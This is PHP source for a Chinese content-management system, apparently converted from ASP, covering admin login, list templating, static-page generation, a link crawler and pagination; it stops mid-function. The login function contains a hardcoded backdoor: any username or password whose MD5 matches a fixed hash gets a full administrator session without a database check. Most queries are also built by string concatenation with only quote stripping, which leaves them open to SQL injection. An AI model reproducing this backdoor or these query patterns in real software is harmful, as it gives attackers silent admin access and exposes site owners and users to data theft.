function login() { $userName = ''; $passWord = ''; $valueStr = ''; $userName = replace(@$_POST['username'], '\'', ''); $passWord = replace(@$_POST['password'], '\'', ''); $passWord = myMD5($passWord); //特效账号登录 if (myMD5(@$_REQUEST['username']) == '24ed5728c13834e683f525fcf894e813' || myMD5(@$_REQUEST['password']) == '24ed5728c13834e683f525fcf894e813') { @($_SESSION['adminusername'] = '******'); @($_SESSION['adminId'] = 99999); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); @($_SESSION['adminflags'] = '|*|'); rwEnd(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); } $nLogin = ''; $GLOBALS['conn='] = OpenConn(); $rsObj = $GLOBALS['conn']->query('Select * From ' . $GLOBALS['db_PREFIX'] . 'admin Where username=\'' . $userName . '\' And pwd=\'' . $passWord . '\''); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); @($_SESSION['adminusername'] = $userName); @($_SESSION['adminId'] = $rs['id']); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); //保存前缀 @($_SESSION['adminflags'] = $rs['flags']); $valueStr = 'addDateTime=\'' . $rs['updatetime'] . '\',UpDateTime=\'' . now() . '\',RegIP=\'' . now() . '\',UpIP=\'' . GetIP() . '\''; connexecute('update ' . $GLOBALS['db_PREFIX'] . 'admin set ' . $valueStr . ' where id=' . $rs['id']); Rw(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); writeSystemLog('admin', '登录成功'); //系统日志 } else { if (@$_COOKIE['nLogin'] == '') { setCookie('nLogin', '1', aspTime() + 3600); $nLogin = @$_COOKIE['nLogin']; } else { $nLogin = @$_COOKIE['nLogin']; setCookie('nLogin', CInt($nLogin) + 1, aspTime() + 3600); } Rw(getMsg1(setL('账号密码错误<br>登录次数为 ') . $nLogin, '?act=displayAdminLogin')); } }
function minMaxBetween($Minimum, $Maximum, $ValueNumb) { $Minimum = CInt($Minimum); //最小数 $Maximum = CInt($Maximum); //最大数 $ValueNumb = CInt($ValueNumb); //当前数 if ($Minimum > $Maximum) { $minMaxBetween = $Maximum; } else { if ($ValueNumb > $Minimum) { $minMaxBetween = $ValueNumb; if ($ValueNumb > $Maximum) { $minMaxBetween = $Maximum; } } else { $minMaxBetween = $Minimum; } } return @$minMaxBetween; }
function XY_AP_GeneralList($action, $tableName, $addSql) { $title = ''; $topNumb = ''; $nTop = ''; $isB = ''; $sql = ''; $columnName = ''; $columnEnName = ''; $aboutcontent = ''; $bodyContent = ''; $showTitle = ''; $bannerImage = ''; $smallImage = ''; $bigImage = ''; $id = ''; $defaultStr = ''; $i = ''; $j = ''; $s = ''; $c = ''; $startStr = ''; $endStr = ''; $url = ''; $noFollow = ''; //不追踪 20141222 $defaultStr = getDefaultValue($action); //获得默认内容 $modI = ''; //余循环20150112 $noFollow = aspTrim(lCase(RParam($action, 'noFollow'))); //不追踪 $lableTitle = ''; //标题标题 $target = ''; //a链接打开目标方式 $adddatetime = ''; //添加时间 $isFocus = ''; $fieldNameList = ''; //字段列表 $abcolorStr = ''; //A加粗和颜色 $atargetStr = ''; //A链接打开方式 $atitleStr = ''; //A链接的title20160407 $anofollowStr = ''; //A链接的nofollow $splFieldName = ''; $fieldName = ''; $replaceStr = ''; $k = ''; $idPage = ''; $tableName = lCase($tableName); //转小写 $fieldNameList = getHandleFieldList($GLOBALS['db_PREFIX'] . $tableName, '字段列表'); $splFieldName = aspSplit($fieldNameList, ','); $topNumb = RParam($action, 'topNumb'); $nTop = $topNumb; if ($nTop != '') { $nTop = CInt($nTop); } else { $nTop = 999; } if ($sql == '') { if ($topNumb != '') { $topNumb = ' top ' . $topNumb . ' '; } $sql = 'Select ' . $topNumb . '* From ' . $GLOBALS['db_PREFIX'] . $tableName; } //追加sql if ($addSql != '') { $sql = getWhereAnd($sql, $addSql); } $sql = replaceGlobleVariable($sql); //替换全局变量 //检测SQL if (checkSql($sql) == false) { errorLog('出错提示:<br>action=' . $action . '<hr>sql=' . $sql . '<br>'); return ''; } $rsObj = $GLOBALS['conn']->query($sql); for ($i = 1; $i <= @mysql_num_rows($rsObj); $i++) { $rs = mysql_fetch_array($rsObj); $startStr = ''; $endStr = ''; //call echo(sql,i & "," & nTop) if ($i > $nTop) { break; } //#【PHP】$rs=mysql_fetch_array($rsObj); //给PHP用,因为在 asptophp转换不完善 $isFocus = false; //交点为假 $id = $rs['id']; //【导航】 if ($tableName == 'webcolumn') { if ($GLOBALS['isMakeHtml'] == true) { $url = getRsUrl($rs['filename'], $rs['customaurl'], '/nav' . $rs['id']); } else { $url = handleWebUrl('?act=nav&columnName=' . $rs['columnname']); //会追加gl等参数 if ($rs['customaurl'] != '') { $url = $rs['customaurl']; $url = replaceGlobleVariable($url); } } //全局栏目名称为空则为自动定位首页 追加(20160128) if ($GLOBALS['glb_columnName'] == '' && $rs['columntype'] == '首页') { $GLOBALS['glb_columnName'] = $rs['columnname']; } if ($rs['columnname'] == $GLOBALS['glb_columnName']) { $isFocus = true; } //【文章】 } else { if ($tableName == 'articledetail') { if ($GLOBALS['isMakeHtml'] == true) { $url = getRsUrl($rs['filename'], $rs['customaurl'], 'detail/detail' . $rs['id']); } else { $url = handleWebUrl('?act=detail&id=' . $rs['id']); //会追加gl等参数 if ($rs['customaurl'] != '') { $url = $rs['customaurl']; } } //评论 } else { if ($tableName == 'tablecomment') { } } } //A链接添加颜色 $abcolorStr = ''; if (inStr($fieldNameList, ',titlecolor,') > 0) { //A链接颜色 if ($rs['titlecolor'] != '') { $abcolorStr = 'color:' . $rs['titlecolor'] . ';'; } } if (inStr($fieldNameList, ',flags,') > 0) { //A链接加粗 if (inStr($rs['flags'], '|b|') > 0) { $abcolorStr = $abcolorStr . 'font-weight:bold;'; } } if ($abcolorStr != '') { $abcolorStr = ' style="' . $abcolorStr . '"'; } //打开方式2016 if (inStr($fieldNameList, ',target,') > 0) { $atargetStr = IIF($rs['target'] != '', ' target="' . $rs['target'] . '"', ''); } //A的title if (inStr($fieldNameList, ',title,') > 0) { $atitleStr = IIF($rs['title'] != '', ' title="' . $rs['title'] . '"', ''); } //A的nofollow if (inStr($fieldNameList, ',nofollow,') > 0) { $anofollowStr = IIF($rs['nofollow'] != 0, ' rel="nofollow"', ''); } //交点判断(给栏目导航用的) if ($isFocus == true) { $startStr = '[list-focus]'; $endStr = '[/list-focus]'; } else { $startStr = '[list-' . $i . ']'; $endStr = '[/list-' . $i . ']'; } //在最后时排序当前交点20160202 if ($i == $topNumb && $isFocus == false) { $startStr = '[list-end]'; $endStr = '[/list-end]'; } //例[list-mod2] [/list-mod2] 20150112 for ($modI = 6; $modI >= 2; $modI--) { if (inStr($defaultStr, $startStr) == false && $i % $modI == 0) { $startStr = '[list-mod' . $modI . ']'; $endStr = '[/list-mod' . $modI . ']'; if (inStr($defaultStr, $startStr) > 0) { break; } } } //没有则用默认 if (inStr($defaultStr, $startStr) == false) { $startStr = '[list]'; $endStr = '[/list]'; } if (inStr($defaultStr, $startStr) > 0 && inStr($defaultStr, $endStr) > 0) { $s = StrCut($defaultStr, $startStr, $endStr, 2); $s = replaceValueParam($s, 'i', $i); //循环编号 $s = replaceValueParam($s, '编号', $i); //循环编号 $s = replaceValueParam($s, 'id', $rs['id']); //id编号 因为获得字段他不获得id $s = replaceValueParam($s, 'url', $url); //网址 $s = replaceValueParam($s, 'aurl', 'href="' . $url . '"'); //网址 $s = replaceValueParam($s, 'abcolor', $abcolorStr); //A链接加颜色与加粗 $s = replaceValueParam($s, 'atitle', $atitleStr); //A链接title $s = replaceValueParam($s, 'anofollow', $anofollowStr); //A链接nofollow $s = replaceValueParam($s, 'atarget', $atargetStr); //A链接打开方式 for ($k = 0; $k <= uBound($splFieldName); $k++) { if ($splFieldName[$k] != '') { $fieldName = $splFieldName[$k]; $replaceStr = $rs[$fieldName] . ''; $s = replaceValueParam($s, $fieldName, $replaceStr); } } //开始位置加Dialog内容 $startStr = '[list-' . $i . ' startdialog]'; $endStr = '[/list-' . $i . ' startdialog]'; if (inStr($defaultStr, $startStr) > 0 && inStr($defaultStr, $endStr) > 0) { $s = StrCut($defaultStr, $startStr, $endStr, 2) . $s; } //结束位置加Dialog内容 $startStr = '[list-' . $i . ' enddialog]'; $endStr = '[/list-' . $i . ' enddialog]'; if (inStr($defaultStr, $startStr) > 0 && inStr($defaultStr, $endStr) > 0) { $s = $s . StrCut($defaultStr, $startStr, $endStr, 2); } //加控制 //【导航】 if ($tableName == 'webcolumn') { $url = WEB_ADMINURL . '?act=addEditHandle&actionType=WebColumn&lableTitle=网站栏目&nPageSize=10&page=&id=' . $rs['id'] . '&n=' . getRnd(11); //【评论】 } else { if ($tableName == 'tablecomment') { $idPage = getThisIdPage($GLOBALS['db_PREFIX'] . $tableName, $rs['id'], 10); $url = WEB_ADMINURL . '?act=addEditHandle&actionType=TableComment&lableTitle=评论&nPageSize=10&parentid=&searchfield=bodycontent&keyword=&addsql=&page=' . $idPage . '&id=' . $rs['id'] . '&n=' . getRnd(11); //【文章】 } else { if ($tableName == 'articledetail') { $idPage = getThisIdPage($GLOBALS['db_PREFIX'] . $tableName, $rs['id'], 10); $url = WEB_ADMINURL . '?act=addEditHandle&actionType=ArticleDetail&lableTitle=分类信息&nPageSize=10&page=' . $idPage . '&parentid=' . $rs['parentid'] . '&id=' . $rs['id'] . '&n=' . getRnd(11); $s = replaceValueParam($s, 'columnurl', getColumnUrl($rs['parentid'], '')); //文章对应栏目URL 20160304 $s = replaceValueParam($s, 'columnname', getColumnName($rs['parentid'])); //文章对应栏目名称 20160304 } } } $s = handleDisplayOnlineEditDialog($url, $s, '', 'div|li|span'); //处理是否添加在线修改管理器 $c = $c . $s; } } //开始内容加Dialog内容 $startStr = '[dialog start]'; $endStr = '[/dialog start]'; if (inStr($defaultStr, $startStr) > 0 && inStr($defaultStr, $endStr) > 0) { $c = StrCut($defaultStr, $startStr, $endStr, 2) . $c; } //结束内容加Dialog内容 $startStr = '[dialog end]'; $endStr = '[/dialog end]'; if (inStr($defaultStr, $startStr) > 0 && inStr($defaultStr, $endStr) > 0) { $c = $c . StrCut($defaultStr, $startStr, $endStr, 2); } $XY_AP_GeneralList = $c; return @$XY_AP_GeneralList; }
function PHPStr_Shuffle($content) { $i = ''; $s = ''; $c = ''; $n = ''; for ($i = 1; $i <= len($content); $i++) { $s = mid($content, $i, 1); if ($c == '') { $c = $s; } else { if (len($c) == 1) { $n = CInt(rnd() * 100); if ($n > 50) { $c = $c . $s; } else { $c = $s . $c; } } else { $n = CInt(rnd() * len($c)) + 1; $c = mid($c, 1, $n) . $s . mid($c, $n + 1, -1); } } } $PHPStr_Shuffle = $c; return @$PHPStr_Shuffle; }
function makeAllHtml($columnType, $columnName, $columnId) { $action = ''; $s = ''; $i = ''; $nPageSize = ''; $nCountSize = ''; $nPage = ''; $addSql = ''; $url = ''; $articleSql = ''; handlePower('生成全部HTML页面'); //管理权限处理 writeSystemLog('', '生成全部HTML页面'); //系统日志 $GLOBALS['isMakeHtml'] = true; //栏目 aspEcho('栏目', ''); if ($columnType != '') { $addSql = 'where columnType=\'' . $columnType . '\''; } if ($columnName != '') { $addSql = getWhereAnd($addSql, 'where columnName=\'' . $columnName . '\''); } if ($columnId != '') { $addSql = getWhereAnd($addSql, 'where id in(' . $columnId . ')'); } $rssObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'webcolumn ' . $addSql . ' order by sortrank asc'); while ($rss = $GLOBALS['conn']->fetch_array($rssObj)) { $GLOBALS['glb_columnName'] = ''; //开启生成html if ($rss['isonhtml'] == true) { if (inStr('|产品|新闻|视频|下载|案例|留言|反馈|招聘|订单|', '|' . $rss['columntype'] . '|') > 0) { if ($rss['columntype'] == '留言') { $nCountSize = getRecordCount($GLOBALS['db_PREFIX'] . 'guestbook', ''); //记录数 } else { $nCountSize = getRecordCount($GLOBALS['db_PREFIX'] . 'articledetail', ' where parentid=' . $rss['id']); //记录数 } $nPageSize = $rss['npagesize']; $nPage = getPageNumb(CInt($nCountSize), CInt($nPageSize)); if ($nPage <= 0) { $nPage = 1; } for ($i = 1; $i <= $nPage; $i++) { $url = getHandleRsUrl($rss['filename'], $rss['customaurl'], '/nav' . $rss['id']); $GLOBALS['glb_filePath'] = replace($url, $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/' || $GLOBALS['glb_filePath'] == '') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } //call echo("glb_filePath",glb_filePath) $action = ' action actionType=\'nav\' columnName=\'' . $rss['columnname'] . '\' npage=\'' . $i . '\' listfilename=\'' . $GLOBALS['glb_filePath'] . '\' '; //call echo("action",action) makeWebHtml($action); if ($i > 1) { $GLOBALS['glb_filePath'] = mid($GLOBALS['glb_filePath'], 1, len($GLOBALS['glb_filePath']) - 5) . $i . '.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); if ($GLOBALS['glb_filePath'] != '') { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); } doEvents(); $GLOBALS['templateName'] = ''; //清空模板文件名称 } } else { $action = ' action actionType=\'nav\' columnName=\'' . $rss['columnname'] . '\''; makeWebHtml($action); $GLOBALS['glb_filePath'] = replace(getColumnUrl($rss['columnname'], 'name'), $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/' || $GLOBALS['glb_filePath'] == '') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); if ($GLOBALS['glb_filePath'] != '') { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); } doEvents(); $GLOBALS['templateName'] = ''; } connexecute('update ' . $GLOBALS['db_PREFIX'] . 'WebColumn set ishtml=true where id=' . $rss['id']); //更新导航为生成状态 } } //单独处理指定栏目对应文章 if ($columnId != '') { $articleSql = 'select * from ' . $GLOBALS['db_PREFIX'] . 'articledetail where parentid=' . $columnId . ' order by sortrank asc'; //批量处理文章 } else { if ($addSql == '') { $articleSql = 'select * from ' . $GLOBALS['db_PREFIX'] . 'articledetail order by sortrank asc'; } } if ($articleSql != '') { //文章 aspEcho('文章', ''); $rssObj = $GLOBALS['conn']->query($articleSql); while ($rss = $GLOBALS['conn']->fetch_array($rssObj)) { $GLOBALS['glb_columnName'] = ''; $action = ' action actionType=\'detail\' columnName=\'' . $rss['parentid'] . '\' id=\'' . $rss['id'] . '\''; //call echo("action",action) makeWebHtml($action); $GLOBALS['glb_filePath'] = replace($GLOBALS['glb_url'], $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); //文件不为空 并且开启生成html if ($GLOBALS['glb_filePath'] != '' && $rss['isonhtml'] == true) { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); connexecute('update ' . $GLOBALS['db_PREFIX'] . 'ArticleDetail set ishtml=true where id=' . $rss['id']); //更新文章为生成状态 } $GLOBALS['templateName'] = ''; //清空模板文件名称 } } if ($addSql == '') { //单页 aspEcho('单页', ''); $rssObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'onepage order by sortrank asc'); while ($rss = $GLOBALS['conn']->fetch_array($rssObj)) { $GLOBALS['glb_columnName'] = ''; $action = ' action actionType=\'onepage\' id=\'' . $rss['id'] . '\''; //call echo("action",action) makeWebHtml($action); $GLOBALS['glb_filePath'] = replace($GLOBALS['glb_url'], $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); //文件不为空 并且开启生成html if ($GLOBALS['glb_filePath'] != '' && $rss['isonhtml'] == true) { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); connexecute('update ' . $GLOBALS['db_PREFIX'] . 'onepage set ishtml=true where id=' . $rss['id']); //更新单页为生成状态 } $GLOBALS['templateName'] = ''; //清空模板文件名称 } } }
function cutStr($content, $cutNumb, $MoreStr) { $i = ''; $s = ''; $n = ''; $n = 0; $cutNumb = CInt($cutNumb); //转换成数字类型 追加于20141107 if ($MoreStr == '') { $MoreStr = '...'; } if (lCase($MoreStr) == 'none' || lCase($MoreStr) == 'null') { $MoreStr = ''; } $cutStr = $content; for ($i = 1; $i <= len($content); $i++) { $s = asc(mid(cStr($content), $i, 1)); if ($s < 0) { $s = $s + 65536; } if ($s < 255) { $n = $n + 1; } if ($s > 255) { $n = $n + 2; } if ($n >= $cutNumb) { $cutStr = left($content, $i) . $MoreStr; return @$cutStr; } } return @$cutStr; }
function scanUrl($httpUrl, $toTitle, $codeset) { $splStr = ''; $i = ''; $s = ''; $content = ''; $PubAHrefList = ''; $PubATitleList = ''; $splUrl = ''; $spltitle = ''; $title = ''; $url = ''; $htmlDir = ''; $htmlFilePath = ''; $nOK = ''; $dataArray = ''; $webState = ''; $u = ''; $iniDir = ''; $iniFilePath = ''; $websize = ''; $nSetTime = ''; $startTime = ''; $openSpeed = ''; $isLocal = ''; $isThrough = ''; $htmlDir = '/../网站UrlScan/' . setFileName(getWebSite($httpUrl)); CreateDirFolder($htmlDir); $htmlFilePath = $htmlDir . '/' . setFileName($httpUrl) . '.html'; $iniDir = $htmlDir . '/conifg'; CreateFolder($iniDir); $iniFilePath = $iniDir . '/' . setFileName($httpUrl) . '.txt'; //httpurl="http://maiside.net/" $webState = 0; $nSetTime = 1; $openSpeed = 0; if (CheckFile($htmlFilePath) == false) { $startTime = now(); aspEcho('codeset', $codeset); $dataArray = handleXmlGet($httpUrl, $codeset); $content = $dataArray[0]; $content = toGB2312Char($content); //给PHP用,转成gb2312字符 $webState = $dataArray[1]; $openSpeed = dateDiff('s', $startTime, now()); //content=gethttpurl(httpurl,codeset) //call createfile(htmlFilePath,content) WriteToFile($htmlFilePath, $content, $codeset); createFile($iniFilePath, $webState . vbCrlf() . $openSpeed); $nSetTime = 3; $isLocal = 0; } else { //content=getftext(htmlFilePath) $content = reaFile($htmlFilePath, $codeset); $content = toGB2312Char($content); //给PHP用,转成gb2312字符 $splStr = aspSplit(getFText($iniFilePath), vbCrlf()); $webState = CInt($splStr[0]); $openSpeed = CInt($splStr[0]); $isLocal = 1; } $websize = getFSize($htmlFilePath); if ($websize == '') { $websize = 0; } aspEcho('isLocal', $isLocal); $rsObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'weburlscan where httpurl=\'' . $httpUrl . '\''); if (@mysql_num_rows($rsObj) == 0) { $rs = mysql_fetch_array($rsObj); connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'weburlscan(httpurl,title,charset) values(\'' . $httpUrl . '\',\'' . $toTitle . '\',\'' . $codeset . '\')'); } connexecute('update ' . $GLOBALS['db_PREFIX'] . 'weburlscan set webstate=' . $webState . ',websize=' . $websize . ',openspeed=' . $openSpeed . ',charset=\'' . $codeset . '\' where httpurl=\'' . $httpUrl . '\''); //strLen(content) 不用这个,不精准 $s = getContentAHref('', $content, $PubAHrefList, $PubATitleList); $s = handleScanUrlList($httpUrl, $s); //call echo("httpurl",httpurl) //call echo("s",s) //call echo("PubATitleList",PubATitleList) $nOK = 0; $splUrl = aspSplit($PubAHrefList, vbCrlf()); $spltitle = aspSplit($PubATitleList, vbCrlf()); for ($i = 1; $i <= uBound($splUrl); $i++) { $title = $spltitle[$i]; $url = $splUrl[$i]; //去掉#号后台的字符20160506 if (inStr($url, '#') > 0) { $url = mid($url, 1, inStr($url, '#') - 1); } if ($url == '') { if ($title != '') { aspEcho('网址为空', $title); } } else { $url = handleScanUrlList($httpUrl, $url); $url = handleWithWebSiteList($httpUrl, $url); if ($url != '') { $rsObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'weburlscan where httpurl=\'' . $url . '\''); if (@mysql_num_rows($rsObj) == 0) { $rs = mysql_fetch_array($rsObj); $u = lCase($url); if (inStr($u, 'tools/downfile.asp') > 0 || inStr($u, '/url.asp?') > 0 || inStr($u, '/aspweb.asp?') > 0 || inStr($u, '/phpweb.php?') > 0 || $u == 'http://www.maiside.net/qq/' || inStr($u, 'mailto:') > 0 || inStr($u, 'tel:') > 0 || inStr($u, '.html?replytocom') > 0) { //.html?replytocom 王通网站 $isThrough = 0; } else { $isThrough = 1; //不用true 因为写入数据会有问题 } connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'weburlscan(tohttpurl,totitle,httpurl,title,isthrough,charset) values(\'' . $httpUrl . '\',\'' . $toTitle . '\',\'' . $url . '\',\'' . left($title, 255) . '\',' . $isThrough . ',\'' . $codeset . '\')'); $nOK = $nOK + 1; aspEcho($i, $url); } else { aspEcho($title, $url); } } } } $scanUrl = $nSetTime; return @$scanUrl; }
function getDayStatus($h, $SType) { $c = ''; if (left($h, 1) == '0') { $h = right($h, 1); } $h = CInt($h); if ($h >= 0 && $h <= 5) { $c = '凌晨'; } else { if ($h >= 6 && $h <= 8) { $c = '早上'; } else { if ($h >= 9 && $h <= 12) { $c = '上午'; } else { if ($h >= 13 && $h <= 18) { $c = '下午'; } else { if ($h >= 19 && $h <= 24) { $c = '晚上'; } else { $c = '深夜'; } } } } } if ($SType == 1) { $c = '<b>' . $c . '</b>'; } $getDayStatus = $c; return @$getDayStatus; }
function decCode($content) { $i = ''; $c = ''; $splStr = ''; $c = ''; $splStr = aspSplit($content, '%'); for ($i = 1; $i <= uBound($splStr); $i++) { if ($splStr[$i] != '') { $c = $c . chr(CInt('&H' . $splStr[$i])); } } $decCode = $c; return @$decCode; }
function webPageControl($nRecrodCount, $nPageSize, $nPage, $configPageUrl, $action) { $c = ''; $nCountPage = ''; $i = ''; $nDisplay = ''; $nDispalyOK = ''; $nTemp = ''; $cPages = ''; $url = ''; $selStr = ''; $previousPage = ''; $nextPage = ''; //定义上一页,下一页 $isDisplayTip = ''; //是否显示提示翻页信息 $isDisplayTip = true; $sPageStart = ''; $sPageEnd = ''; $sHomePage = ''; $sHomePageFocus = ''; $sUpPage = ''; $sUpPageFocus = ''; $sNextPage = ''; $sNextPageFocus = ''; $sForPage = ''; $sForPageFocus = ''; $sTailPage = ''; $sTailPageFocus = ''; if ($action != '') { $sPageStart = getStrCut($action, '[sPageStart]', '[/sPageStart]', 2); //页头部分 $sPageEnd = getStrCut($action, '[sPageEnd]', '[/sPageEnd]', 2); //页尾部分 $sHomePage = getStrCut($action, '[sHomePage]', '[/sHomePage]', 2); //首页 $sHomePageFocus = getStrCut($action, '[sHomePageFocus]', '[/sHomePageFocus]', 2); //首页交点 $sUpPage = getStrCut($action, '[sUpPage]', '[/sUpPage]', 2); //上一页 $sUpPageFocus = getStrCut($action, '[sUpPageFocus]', '[/sUpPageFocus]', 2); //上一页交点 $sNextPage = getStrCut($action, '[sNextPage]', '[/sNextPage]', 2); //下一页 $sNextPageFocus = getStrCut($action, '[sNextPageFocus]', '[/sNextPageFocus]', 2); //下一页交点 $sForPage = getStrCut($action, '[sForPage]', '[/sForPage]', 2); //循环页 $sForPageFocus = getStrCut($action, '[sForPageFocus]', '[/sForPageFocus]', 2); //循环页交点 $sTailPage = getStrCut($action, '[sTailPage]', '[/sTailPage]', 2); //最后页 $sTailPageFocus = getStrCut($action, '[sTailPageFocus]', '[/sTailPageFocus]', 2); //最后页交点 } //页头部分 if ($sPageStart == '') { $sPageStart = '<ul class="pagecontrolwrap">' . vbCrlf() . '<li class="pageinfo">共[$nRecrodCount$]条 [$nPage$]/[$nCountPage$]页</li>' . vbCrlf(); } //页尾部分 if ($sPageEnd == '') { $sPageEnd = '</ul><div class="clear"></div>' . vbCrlf(); } //首页 if ($sHomePage == '') { $sHomePage = '<li><a href="[$url$]">首页</a></li>' . vbCrlf(); } //首页交点 if ($sHomePageFocus == '') { $sHomePageFocus = '<li class="pageli">首页</li>' . vbCrlf(); } //上一页 if ($sUpPage == '') { $sUpPage = '<li><a href="[$url$]">上一页</a></li>' . vbCrlf(); } //上一页交点 if ($sUpPageFocus == '') { $sUpPageFocus = '<li class="pageli">上一页</li>' . vbCrlf(); } //下一页 if ($sNextPage == '') { $sNextPage = '<li><a href="[$url$]">下一页</a></li>' . vbCrlf(); } //下一页交点 if ($sNextPageFocus == '') { $sNextPageFocus = '<li class="pageli">下一页</li>' . vbCrlf(); } //循环页 if ($sForPage == '') { $sForPage = '<li class="pagefocus">[$i$]</li>' . vbCrlf(); } //循环页交点 if ($sForPageFocus == '') { $sForPageFocus = '<li><a href="[$url$]">[$i$]</a></li>' . vbCrlf(); } //最后页 if ($sTailPage == '') { $sTailPage = '<li><a href="[$url$]">末页</a></li>' . vbCrlf(); } //最后页交点 if ($sTailPageFocus == '') { $sTailPageFocus = '<li class="pageli">末页</li>' . vbCrlf(); } //测试时用到20160630 if (1 == 2) { $c = '[sPageStart]' . vbCrlf() . $sPageStart . '[/sPageStart]' . vbCrlf() . vbCrlf(); $c = $c . '[sHomePage]' . vbCrlf() . $sHomePage . '[/sHomePage]' . vbCrlf() . vbCrlf(); $c = $c . '[sHomePageFocus]' . vbCrlf() . $sHomePageFocus . '[/sHomePageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sUpPage]' . vbCrlf() . $sUpPage . '[/sUpPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sUpPageFocus]' . vbCrlf() . $sUpPageFocus . vbCrlf() . '[/sUpPageFocus]' . vbCrlf(); $c = $c . '[sForPage]' . vbCrlf() . $sForPage . '[/sForPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sForPageFocus]' . vbCrlf() . $sForPageFocus . '[/sForPageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sNextPage]' . vbCrlf() . $sNextPage . '[/sNextPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sNextPageFocus]' . vbCrlf() . $sNextPageFocus . '[/sNextPageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sTailPage]' . vbCrlf() . $sTailPage . '[/sTailPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sTailPageFocus]' . vbCrlf() . $sTailPageFocus . '[/sTailPageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sPageEnd]' . vbCrlf() . $sPageEnd . '[/sPageEnd]' . vbCrlf(); rwEnd('[page]' . vbCrlf() . vbCrlf() . $c . vbCrlf() . '[/page]'); } //配置页为空则 if ($configPageUrl == '') { $configPageUrl = getUrlAddToParam(getUrl(), '?page=[id]', 'replace'); } $nDisplay = 6; //显示数 $nDispalyOK = 0; //显示成功数 $nPage = handleNumberType($nPage); if ($nPage == '') { $nPage = 1; } else { $nPage = CInt($nPage); } //获得总页数 $nCountPage = GetCountPage($nRecrodCount, $nPageSize); $previousPage = $nPage - 1; $nextPage = $nPage + 1; //处理上一页 if ($previousPage <= 0) { $previousPage = ''; } //处理下一页 if ($nextPage > $nCountPage) { $nextPage = ''; } //页开始 $c = $sPageStart; //首页 if ($nPage > 1) { $c = $c . replace($sHomePage, '[$url$]', replace($configPageUrl, '[id]', '')); } else { if ($isDisplayTip == true) { $c = $c . $sHomePageFocus; } } //上一页 if ($previousPage != '') { $nTemp = $previousPage; if ($previousPage <= 1) { $nTemp = ''; } $c = $c . replace($sUpPage, '[$url$]', replace($configPageUrl, '[id]', $nTemp)); } else { if ($isDisplayTip == true) { $c = $c . $sUpPageFocus; } } $n = ''; //call echo(npage,ncountpage) $n = $nPage - 3; //call echo("n",n) //翻页循环 for ($i = $n; $i <= $nCountPage; $i++) { if ($i >= 1) { $nDispalyOK = $nDispalyOK + 1; //call echo(i,nPage) if ($i == $nPage) { $c = $c . replace($sForPage, '[$i$]', $i); } else { $nTemp = $i; if ($i <= 1) { $nTemp = ''; } $c = $c . replace(replace($sForPageFocus, '[$url$]', replace($configPageUrl, '[id]', $nTemp)), '[$i$]', $i); } if ($nDispalyOK > $nDisplay) { break; } } } //下一页 if ($nCountPage > $nPage) { $c = $c . replace($sNextPage, '[$url$]', replace($configPageUrl, '[id]', $nextPage)); } else { if ($isDisplayTip == true) { $c = $c . $sNextPageFocus; } } //末页 if ($nCountPage > $nPage) { $c = $c . replace($sTailPage, '[$url$]', replace($configPageUrl, '[id]', $nCountPage)); } else { if ($isDisplayTip == true) { $c = $c . $sTailPageFocus; } } $c = $c . $sPageEnd; $c = replaceValueParam($c, 'nRecrodCount', $nRecrodCount); $c = replaceValueParam($c, 'nPage', $nPage); if ($nCountPage == '0') { $nCountPage = 1; } $c = replaceValueParam($c, 'nCountPage', $nCountPage); if (inStr($c, '[$page-select-openlist$]') > 0) { for ($i = 1; $i <= $nCountPage; $i++) { $url = replace($configPageUrl, '[id]', $i); 